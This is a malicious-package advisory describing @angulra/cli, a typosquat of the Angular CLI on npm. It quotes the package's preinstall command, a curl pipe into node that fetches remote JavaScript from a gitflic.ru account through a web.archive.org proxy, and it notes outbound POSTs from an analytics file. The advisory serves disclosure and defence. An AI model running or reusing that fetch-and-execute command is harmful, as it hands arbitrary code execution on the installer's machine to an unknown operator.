MAL-2026-17495

    Dashboard / Malicious Package / MAL-2026-17495

    MAL-2026-17495

    Published: 4 Oct 2026Last Modified: 4 Oct 2026

    Summary: Malicious code in @angulra/cli (npm)

    Details: Source: amazon-inspector (e3158beab2ea0d9f8e28d488f124268c8c9a00a3a0f5599823c4d13f741ac40f) The package name @angulra/cli is a character-swap of @angular/cli and copies the legitimate Angular CLI's metadata (description, repository, homepage, keywords, dependencies). Its package.json defines a preinstall script that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching JavaScript from an anonymous third-party account (hellscripter) on gitflic.ru via a web.archive.org proxy and piping the response directly into Node. The URL is unpinned, has no integrity check, is unrelated to the Angular publisher, and the fetched bytes execute automatically on `npm install`, giving the operator of that endpoint arbitrary code execution on the installer's machine. src/analytics/analytics-collector.js additionally issues outbound POSTs via https.request alongside ping-style activity.

    References: https://www.npmjs.com/package/@angulra/cli/v/22.2.1

    Affected packages

    Package

    Name: @angulra/cli

    Purl: pkg:npm/%40angulra/cli

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    22.2.1